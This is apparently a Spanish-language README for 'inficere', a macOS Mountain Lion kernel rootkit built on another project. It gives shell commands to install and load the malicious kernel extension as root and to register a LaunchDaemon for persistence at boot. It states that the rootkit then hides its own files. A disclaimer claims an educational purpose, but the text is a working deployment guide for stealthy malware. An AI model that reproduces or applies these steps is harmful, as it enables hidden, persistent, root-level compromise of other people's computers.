
Rootkit de Mac OS X - con fines educativos
Versión pública de mi rootkit para Mac OS X construido sobre el onyx-the-black-cat de fractalG (https://github.com/gdbinit/onyx-the-black-cat)
Probado únicamente en Mountain Lion, 10.8.2 a 10.8.5. No se garantiza que funcione en otras versiones.
# chmod -R 755 inficere.kext# chown -R root:wheel inficere.kext# mv inficere.kext /System/Library/Extensions/# kextutil /System/Library/Extensions/inficere.kext# ./controlPara persistencia en el arranque:
# plutil -convert binary1 com.enzo.inficere.plist# mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist# chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist# launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plistInficere ocultará los archivos anteriores después de cargarse.
Me gustaría enfatizar que hice esto únicamente con fines educativos.